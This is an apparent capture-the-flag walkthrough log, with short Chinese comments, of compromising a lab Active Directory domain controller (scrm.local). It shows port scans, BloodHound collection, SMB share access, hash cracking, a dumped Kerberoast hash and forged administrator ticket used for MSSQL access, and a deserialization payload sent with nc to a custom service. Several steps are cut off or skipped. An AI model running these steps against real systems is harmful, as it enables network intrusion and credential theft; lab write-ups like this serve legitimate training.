└─$ sudo nmap -sS 10.10.11.168 -p- --min-rate=2000 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-02 03:31 EST Stats: 0:00:36 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 37.25% done; ETC: 03:33 (0:01:01 remaining) Stats: 0:01:38 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 99.99% done; ETC: 03:33 (0:00:00 remaining) Nmap scan report for 10.10.11.168 Host is up (0.13s latency). Not shown: 65514 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 1433/tcp open ms-sql-s 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 4411/tcp open found 5985/tcp open wsman 9389/tcp open adws 49667/tcp open unknown 49673/tcp open unknown 49674/tcp open unknown 49700/tcp open unknown 49705/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 98.57 seconds
└─$ sudo nmap -sU 10.10.11.168 --top-ports=200 --min-rate=2000 [sudo] password for fonllge: Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-02 03:32 EST Nmap scan report for 10.10.11.168 Host is up (0.13s latency). Not shown: 196 open|filtered udp ports (no-response) PORT STATE SERVICE 53/udp open domain 88/udp open kerberos-sec 123/udp open ntp 389/udp open ldap
Nmap done: 1 IP address (1 host up) scanned in 1.03 seconds
└─$ bloodhound.py -c All -d scrm.local -u ksimpson -p ksimpson -k -no-pass -ns 10.10.11.168 -dc dc1.scrm.local --zip --use-ldaps INFO: Found AD domain: scrm.local INFO: Using TGT from cache INFO: Found TGT with correct principal in ccache file. INFO: Connecting to LDAP server: dc1.scrm.local INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 2 computers INFO: Connecting to LDAP server: dc1.scrm.local INFO: Found 16 users INFO: Found 62 groups INFO: Found 6 gpos INFO: Found 6 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: WS01.scrm.local INFO: Querying computer: DC1.scrm.local INFO: Done in 00M 29S INFO: Compressing output into 20250102042042_bloodhound.zip
└─$ impacket-smbclient 'scrm.local/ksimpson:ksimpson@dc1.scrm.local' -k -dc-ip scrm.local Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Type helpfor list of commands # help
open {host,port=445} - opens a SMB connection against the target host/port login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes logoff - logs off shares - list available shares use {sharename} - connect to an specific share cd {path} - changes the current directory to {path} lcd {path} - changes the current local directory to {path} pwd - shows current remote directory password - changes the user password, the new password will be prompted for input ls {wildcard} - lists all the files in the current directory lls {dirname} - lists all the files on the local filesystem. tree {filepath} - recursively lists all files in folder and sub folders rm {file} - removes the selected file mkdir {dirname} - creates the directory under the current path rmdir {dirname} - removes the directory under the current path put {filename} - uploads the filename into the current path get {filename} - downloads the filename from the current path mget {mask} - downloads all files from the current directory matching the provided mask cat {filename} - reads the filename from the current path mount {target,path} - creates a mount point from {path} to {target} (admin required) umount {path} - removes the mount point at {path} without deleting the directory (admin required) list_snapshots {path} - lists the vss snapshots for the specified path info - returns NetrServerInfo main results who - returns the sessions currently connected at the target host (admin required) close - closes the current SMB Session exit - terminates the server process (and this session)
查看所有sharename
1 2 3 4 5 6 7 8 9 10
# shares ADMIN$ C$ HR IPC$ IT NETLOGON Public Sales SYSVOL
挨个尝试，打的时候忘记跑smbmap了，这里挨个试显得我有些笨，在Public里有东西。
1 2 3 4 5 6 7 8
# use Public # tree /Network Security Changes.pdf Finished - 0 files and folders # ls drw-rw-rw- 0 Thu Nov 4 18:23:19 2021 . drw-rw-rw- 0 Thu Nov 4 18:23:19 2021 .. -rw-rw-rw- 630106 Fri Nov 5 13:45:07 2021 Network Security Changes.pdf
└─$ hashcat svc_sql_hash /usr/share/wordlists/rockyou.txt --show Hash-mode was not specified with -m. Attempting to auto-detect hash mode. The following mode was auto-detected as the only one matching your input hash:
└─$ python3 ~/tools/impacket/examples/describeTicket.py ./administrator.ccache Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Number of credentials in cache: 1 [*] Parsing credential[0]: [*] Ticket Session Key : 6f59694f45596975426e44596a697547 [*] User Name : administrator [*] User Realm : SCRM.LOCAL [*] Service Name : MSSQLSvc/dc1.scrm.local [*] Service Realm : SCRM.LOCAL [*] Start Time : 02/01/2025 06:19:33 AM [*] End Time : 31/12/2034 06:19:33 AM [*] RenewTill : 31/12/2034 06:19:33 AM [*] Flags : (0x50a00000) forwardable, proxiable, renewable, pre_authent [*] KeyType : rc4_hmac [*] Base64(key) : b1lpT0VZaXVCbkRZaml1Rw== [*] Kerberoast hash : $krb5tgs$23$*USER$SCRM.LOCAL$MSSQLSvc/dc1.scrm.local*$9a97d5e5495646611aadfaa5913da2fa$4e7996d57fefd716eeceb39054f50a0a12cb05e8c51c84cd41dbed6eb40f597a0bb672b1008a6c7c7c61ab6272615df45635b29844e2549df9e42890324147aeb7402b3e5a436f9acbe7a51ff017c7b9162eb79a69d35793c6e10748d22991103aabfd1330881a1887298923023095787e7bd7ffa5e4c943c2957b0383403d2082ee879b44750ee0d7497a5b92833a3213214f4a147e23f1582c336e01bec852055bf1d2839e99097534fef0aea343aa72706f5fa79be646743a655fb8d65d1ca7d34e4a1d2734b2f60d66f1f173747c79888db2b7e4122b0d61923736f37b5c57ede0ca18f7f7b599b40b28693e1600f0f7c7744b9e40590c039741a92039aec452e5cd6588f6188a5f4e9c3ae9148ec3bf98ce6b7be5691a4e6cafacd9e609a3d5d3724f694c96b16cadfa60377a9cdd9a9dd5c1b2fc3a1a9dc2af3db0da10adb4822ca70b2821721eb112e71e6922b090954e54ed08df19db91e310857dbfb522d4642cb5a0dbe0d15a70078946ecc6bea8878d913f28f68d227ecc74ddc42b910e24740c6bc358ffcabf8a933d9b28fe47c3ecc1f0d5a4b1fc474c0b81c12fc1e466b6c8f50d47663bd8a6faf1dda873716247cde63e728a313e67f4d36896aeb8a549053629ae90b10f8aee802839780c24f37e40d84f3e66222225253d4ce7bc0ecf800dda4d8493d0f666b35dcdb663a9aaded80cfb005c14b4ab2d67dc20e34b74ad9255fc3515c4f39a3d59978ef1a14fc8b3eae049cc211496a20b931a7d279327341d78904c0345df41dcb3d8812b28f39ab1a76150b89dc1de802b28c2bd81ae3761852015a2db0a60ada877103c28cbfe4521ef2eeabfaca8f95f61274664f9a659ad1af86e422d26535145fb445845a521b068dc5c914c7484249f6b49554c6d8d3ea2df1a10dfc2f4d09f8d6c8ec8b6f9fa56fd129025546fd2f61bb47f6148c64917f1bdf95408b247a6facaa49e77975b7129abfcc16fcedeef521a5c7bc3e5755455a08181c04348be26cfcc775eae4457f8bf036264eac0d91fca268358b52197eb8f013b04f467e9cf05eae60805b36a13c258f7b2ba48a81152117335f2c18218903bd42a1108aa52fb6e079e71fc98a96110389ebea1ae9581bbf4e276b2ae0608969323ad5fc504cdd6685135f5afd8ba587e12d5875fb87347170bf52eddce3744b1539184b06712e30987a9b9a707281da1454512f247de06913000b4b67382025dede06e42df589479839111c7b4cf7f0b2ede5c74ced20bc33f9568ef0f70b8c36410085591c19a66611d [*] Decoding unencrypted data in credential[0]['ticket']: [*] Service Name : MSSQLSvc/dc1.scrm.local <-spn [*] Service Realm : SCRM.LOCAL [*] Encryption type : rc4_hmac (etype 23) [-] Could not find the correct encryption key! Ticket is encrypted with rc4_hmac (etype 23), but no keys/creds were supplied
└─$ impacket-mssqlclient -dc-ip 10.10.11.168 dc1.scrm.local -k -debug Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket [*] Encryption required, switching to TLS [+] Using Kerberos Cache: ./administrator.ccache [+] Domain retrieved from CCache: SCRM.LOCAL [+] SPN MSSQLSVC/DC1.SCRM.LOCAL:1433@SCRM.LOCAL not found in cache [+] AnySPN is True, looking for another suitable SPN [+] Returning cached credential for MSSQLSVC/DC1.SCRM.LOCAL@SCRM.LOCAL [+] Using TGS from cache [+] Changing sname from MSSQLSvc/dc1.scrm.local@SCRM.LOCAL to MSSQLSVC/DC1.SCRM.LOCAL:1433@SCRM.LOCAL and hoping for the best [+] Username retrieved from CCache: administrator [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC1): Line 1: Changed database context to 'master'. [*] INFO(DC1): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (150 7208) [!] Press helpfor extra shell commands
└─$ evil-winrm -r scrm.local -i dc1.scsrm.local -u miscsvc Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Warning: User is not needed for Kerberos auth. Ticket will be used Info: Establishing connection to remote endpoint Error: An error of type GSSAPI::GssApiError happened, message is gss_init_sec_context did not return GSS_S_COMPLETE: Unspecified GSS failure. Minor code may provide more information Server not found in Kerberos database
└─$ echo"UPLOAD_ORDER;`cat yso`" |nc 10.10.11.168 4411 SCRAMBLECORP_ORDERS_V1.0.3; ERROR_GENERAL;Error deserializing sales order: Exception has been thrown by the target of an invocation.
